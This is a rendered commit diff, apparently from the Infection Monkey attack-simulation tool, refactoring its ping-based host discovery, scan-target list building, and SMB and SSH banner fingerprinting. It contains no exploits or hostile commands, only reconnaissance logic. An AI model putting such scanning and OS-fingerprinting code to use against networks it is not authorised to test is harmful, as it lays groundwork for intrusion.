# in this case. See #1175 and #1403 for more information. # in this case. See #1175 and #1403 for more information.
encoding = os.device_encoding(1) encoding = os.device_encoding(1)
ping_event_timestamp = time()
sub_proc = subprocess.Popen( sub_proc = subprocess.Popen(
ping_cmd, ping_cmd,
stdout=subprocess.PIPE, stdout=subprocess.PIPE,
@ -75,9 +64,9 @@ def _run_ping_command(host: str, timeout: float) -> Tuple[float, str]:
logger.debug(output) logger.debug(output)
except subprocess.TimeoutExpired as te: except subprocess.TimeoutExpired as te:
logger.error(te) logger.error(te)
return ping_event_timestamp, "" return ""
return ping_event_timestamp, output return output
def _process_ping_command_output(ping_command_output: str) -> PingScanData: def _process_ping_command_output(ping_command_output: str) -> PingScanData:
@ -89,8 +78,11 @@ def _process_ping_command_output(ping_command_output: str) -> PingScanData:
# match at all if the group isn't found or the contents of the group are not only digits. # match at all if the group isn't found or the contents of the group are not only digits.
ttl = int(ttl_match.group(1)) ttl = int(ttl_match.group(1))
# could also be OSX/BSD, but lets handle that when it comes up. operating_system = None
operating_system = OperatingSystem.LINUX if ttl <= LINUX_TTL else OperatingSystem.WINDOWS if ttl <= LINUX_TTL:
operating_system = OperatingSystem.LINUX
else: # as far we we know, could also be OSX/BSD, but lets handle that when it comes up.
operating_system = OperatingSystem.WINDOWS
return PingScanData(True, operating_system) return PingScanData(True, operating_system)
@ -101,15 +93,3 @@ def _build_ping_command(host: str, timeout: float):
# on older version of ping the timeout must be an integer, thus we use ceil # on older version of ping the timeout must be an integer, thus we use ceil
return ["ping", ping_count_flag, "1", ping_timeout_flag, str(math.ceil(timeout)), host] return ["ping", ping_count_flag, "1", ping_timeout_flag, str(math.ceil(timeout)), host]
def _generate_ping_scan_event(
host: str, ping_scan_data: PingScanData, event_timestamp: float
) -> PingScanEvent:
return PingScanEvent(
source=get_agent_id(),
target=IPv4Address(host),
timestamp=event_timestamp,
response_received=ping_scan_data.response_received,
os=ping_scan_data.os,
)

View File

@ -2,31 +2,34 @@ import itertools
import logging import logging
import socket import socket
from ipaddress import IPv4Interface from ipaddress import IPv4Interface
from typing import Dict, Iterable, List, Optional, Sequence from typing import Dict, List
from common.network.network_range import InvalidNetworkRangeError, NetworkRange from common.network.network_range import InvalidNetworkRangeError, NetworkRange
from infection_monkey.network import NetworkAddress from infection_monkey.network import NetworkAddress
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
# TODO: We can probably reduce code and save ourselves some trouble if we use IPv4Address and
# IPv4Network. See https://docs.python.org/3/library/ipaddress.html
def compile_scan_target_list( def compile_scan_target_list(
local_network_interfaces: Sequence[IPv4Interface], local_network_interfaces: List[IPv4Interface],
ranges_to_scan: Sequence[str], ranges_to_scan: List[str],
inaccessible_subnets: Sequence[str], inaccessible_subnets: List[str],
blocklisted_ips: Sequence[str], blocklisted_ips: List[str],
scan_my_networks: bool, enable_local_network_scan: bool,
) -> List[NetworkAddress]: ) -> List[NetworkAddress]:
scan_targets = _get_ips_from_subnets_to_scan(ranges_to_scan) scan_targets = _get_ips_from_subnets_to_scan(ranges_to_scan)
if scan_my_networks: if enable_local_network_scan:
scan_targets.extend(_get_ips_to_scan_from_interface(local_network_interfaces)) scan_targets.extend(_get_ips_to_scan_from_local_interface(local_network_interfaces))
if inaccessible_subnets: if inaccessible_subnets:
other_targets = _get_segmentation_check_targets( inaccessible_subnet_addresses = _get_segmentation_check_targets(
inaccessible_subnets, local_network_interfaces inaccessible_subnets, local_network_interfaces
) )
scan_targets.extend(other_targets) scan_targets.extend(inaccessible_subnet_addresses)
scan_targets = _remove_interface_ips(scan_targets, local_network_interfaces) scan_targets = _remove_interface_ips(scan_targets, local_network_interfaces)
scan_targets = _remove_blocklisted_ips(scan_targets, blocklisted_ips) scan_targets = _remove_blocklisted_ips(scan_targets, blocklisted_ips)
@ -36,12 +39,12 @@ def compile_scan_target_list(
return scan_targets return scan_targets
def _remove_redundant_targets(targets: Sequence[NetworkAddress]) -> List[NetworkAddress]: def _remove_redundant_targets(targets: List[NetworkAddress]) -> List[NetworkAddress]:
reverse_dns: Dict[str, Optional[str]] = {} reverse_dns: Dict[str, str] = {}
for target in targets: for target in targets:
domain_name = target.domain domain_name = target.domain
ip = target.ip ip = target.ip
if ip not in reverse_dns or (reverse_dns[ip] is None and domain_name is not None): if ip not in reverse_dns or (not reverse_dns[ip] and domain_name):
reverse_dns[ip] = domain_name reverse_dns[ip] = domain_name
return [NetworkAddress(key, value) for (key, value) in reverse_dns.items()] return [NetworkAddress(key, value) for (key, value) in reverse_dns.items()]
@ -49,15 +52,14 @@ def _remove_redundant_targets(targets: Sequence[NetworkAddress]) -> List[Network
def _range_to_addresses(range_obj: NetworkRange) -> List[NetworkAddress]: def _range_to_addresses(range_obj: NetworkRange) -> List[NetworkAddress]:
addresses = [] addresses = []
for address in range_obj: for address in range_obj:
try: if hasattr(range_obj, "domain_name"):
domain = range_obj.domain_name # type: ignore addresses.append(NetworkAddress(address, range_obj.domain_name))
except AttributeError: else:
domain = None addresses.append(NetworkAddress(address, ""))
addresses.append(NetworkAddress(address, domain))
return addresses return addresses
def _get_ips_from_subnets_to_scan(subnets_to_scan: Iterable[str]) -> List[NetworkAddress]: def _get_ips_from_subnets_to_scan(subnets_to_scan: List[str]) -> List[NetworkAddress]:
ranges_to_scan = NetworkRange.filter_invalid_ranges( ranges_to_scan = NetworkRange.filter_invalid_ranges(
subnets_to_scan, "Bad network range input for targets to scan:" subnets_to_scan, "Bad network range input for targets to scan:"
) )
@ -66,7 +68,7 @@ def _get_ips_from_subnets_to_scan(subnets_to_scan: Iterable[str]) -> List[Networ
return _get_ips_from_ranges_to_scan(network_ranges) return _get_ips_from_ranges_to_scan(network_ranges)
def _get_ips_from_ranges_to_scan(network_ranges: Iterable[NetworkRange]) -> List[NetworkAddress]: def _get_ips_from_ranges_to_scan(network_ranges: List[NetworkRange]) -> List[NetworkAddress]:
scan_targets = [] scan_targets = []
for _range in network_ranges: for _range in network_ranges:
@ -74,8 +76,8 @@ def _get_ips_from_ranges_to_scan(network_ranges: Iterable[NetworkRange]) -> List
return scan_targets return scan_targets
def _get_ips_to_scan_from_interface( def _get_ips_to_scan_from_local_interface(
interfaces: Sequence[IPv4Interface], interfaces: List[IPv4Interface],
) -> List[NetworkAddress]: ) -> List[NetworkAddress]:
ranges = [str(interface) for interface in interfaces] ranges = [str(interface) for interface in interfaces]
@ -86,14 +88,14 @@ def _get_ips_to_scan_from_interface(
def _remove_interface_ips( def _remove_interface_ips(
scan_targets: Sequence[NetworkAddress], interfaces: Iterable[IPv4Interface] scan_targets: List[NetworkAddress], interfaces: List[IPv4Interface]
) -> List[NetworkAddress]: ) -> List[NetworkAddress]:
interface_ips = [str(interface.ip) for interface in interfaces] interface_ips = [str(interface.ip) for interface in interfaces]
return _remove_ips_from_scan_targets(scan_targets, interface_ips) return _remove_ips_from_scan_targets(scan_targets, interface_ips)
def _remove_blocklisted_ips( def _remove_blocklisted_ips(
scan_targets: Sequence[NetworkAddress], blocked_ips: Sequence[str] scan_targets: List[NetworkAddress], blocked_ips: List[str]
) -> List[NetworkAddress]: ) -> List[NetworkAddress]:
filtered_blocked_ips = NetworkRange.filter_invalid_ranges( filtered_blocked_ips = NetworkRange.filter_invalid_ranges(
blocked_ips, "Invalid blocked IP provided:" blocked_ips, "Invalid blocked IP provided:"
@ -104,14 +106,14 @@ def _remove_blocklisted_ips(
def _remove_ips_from_scan_targets( def _remove_ips_from_scan_targets(
scan_targets: Sequence[NetworkAddress], ips_to_remove: Iterable[str] scan_targets: List[NetworkAddress], ips_to_remove: List[str]
) -> List[NetworkAddress]: ) -> List[NetworkAddress]:
ips_to_remove_set = set(ips_to_remove) ips_to_remove_set = set(ips_to_remove)
return [address for address in scan_targets if address.ip not in ips_to_remove_set] return [address for address in scan_targets if address.ip not in ips_to_remove_set]
def _get_segmentation_check_targets( def _get_segmentation_check_targets(
inaccessible_subnets: Iterable[str], local_interfaces: Iterable[IPv4Interface] inaccessible_subnets: List[str], local_interfaces: List[IPv4Interface]
) -> List[NetworkAddress]: ) -> List[NetworkAddress]:
ips_to_scan = [] ips_to_scan = []
local_ips = [str(interface.ip) for interface in local_interfaces] local_ips = [str(interface.ip) for interface in local_interfaces]
@ -132,17 +134,17 @@ def _get_segmentation_check_targets(
return ips_to_scan return ips_to_scan
def _convert_to_range_object(subnets: Iterable[str]) -> List[NetworkRange]: def _convert_to_range_object(subnets: List[str]) -> List[NetworkRange]:
return [NetworkRange.get_range_obj(subnet) for subnet in subnets] return [NetworkRange.get_range_obj(subnet) for subnet in subnets]
def _is_segmentation_check_required( def _is_segmentation_check_required(
local_ips: Sequence[str], subnet1: NetworkRange, subnet2: NetworkRange local_ips: List[str], subnet1: NetworkRange, subnet2: NetworkRange
): ):
return _is_any_ip_in_subnet(local_ips, subnet1) and not _is_any_ip_in_subnet(local_ips, subnet2) return _is_any_ip_in_subnet(local_ips, subnet1) and not _is_any_ip_in_subnet(local_ips, subnet2)
def _is_any_ip_in_subnet(ip_addresses: Iterable[str], subnet: NetworkRange): def _is_any_ip_in_subnet(ip_addresses: List[str], subnet: NetworkRange):
for ip_address in ip_addresses: for ip_address in ip_addresses:
if subnet.is_in_range(ip_address): if subnet.is_in_range(ip_address):
return True return True

View File

@ -6,8 +6,13 @@ from typing import Dict
from odict import odict from odict import odict
from common import OperatingSystem from common import OperatingSystem
from common.types import PingScanData, PortStatus from infection_monkey.i_puppet import (
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData FingerprintData,
IFingerprinter,
PingScanData,
PortScanData,
PortStatus,
)
DISPLAY_NAME = "SMB" DISPLAY_NAME = "SMB"
SMB_PORT = 445 SMB_PORT = 445
@ -139,16 +144,16 @@ class SMBFingerprinter(IFingerprinter):
port_scan_data: Dict[int, PortScanData], port_scan_data: Dict[int, PortScanData],
_options: Dict, _options: Dict,
) -> FingerprintData: ) -> FingerprintData:
services = {} services: Dict = {}
smb_service = { smb_service = {
"display_name": DISPLAY_NAME, "display_name": DISPLAY_NAME,
"port": SMB_PORT, "port": SMB_PORT,
} }
os_type = None os_type = None
os_version = None os_version = ""
if (SMB_PORT not in port_scan_data) or (port_scan_data[SMB_PORT].status != PortStatus.OPEN): if (SMB_PORT not in port_scan_data) or (port_scan_data[SMB_PORT].status != PortStatus.OPEN):
return FingerprintData(None, None, services) return FingerprintData(None, "", services)
logger.debug(f"Fingerprinting potential SMB port {SMB_PORT} on {host}") logger.debug(f"Fingerprinting potential SMB port {SMB_PORT} on {host}")

View File

@ -2,8 +2,7 @@ import re
from typing import Dict, Optional, Tuple from typing import Dict, Optional, Tuple
from common import OperatingSystem from common import OperatingSystem
from common.types import PingScanData from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
SSH_REGEX = r"SSH-\d\.\d-OpenSSH" SSH_REGEX = r"SSH-\d\.\d-OpenSSH"
LINUX_DIST_SSH = ["ubuntu", "debian"] LINUX_DIST_SSH = ["ubuntu", "debian"]
@ -22,7 +21,7 @@ class SSHFingerprinter(IFingerprinter):
_options: Dict, _options: Dict,
) -> FingerprintData: ) -> FingerprintData:
os_type = None os_type = None
os_version = None os_version = ""
services = {} services = {}
for ps_data in port_scan_data.values(): for ps_data in port_scan_data.values():
@ -36,9 +35,9 @@ class SSHFingerprinter(IFingerprinter):
return FingerprintData(os_type, os_version, services) return FingerprintData(os_type, os_version, services)
@staticmethod @staticmethod
def _get_host_os(banner) -> Tuple[Optional[str], Optional[str]]: def _get_host_os(banner) -> Tuple[Optional[OperatingSystem], str]:
os = None os = None
os_version = None os_version = ""
for dist in LINUX_DIST_SSH: for dist in LINUX_DIST_SSH:
if banner.lower().find(dist) != -1: if banner.lower().find(dist) != -1:
os_version = banner.split(" ").pop().strip() os_version = banner.split(" ").pop().strip()

Some files were not shown because too many files have changed in this diff Show More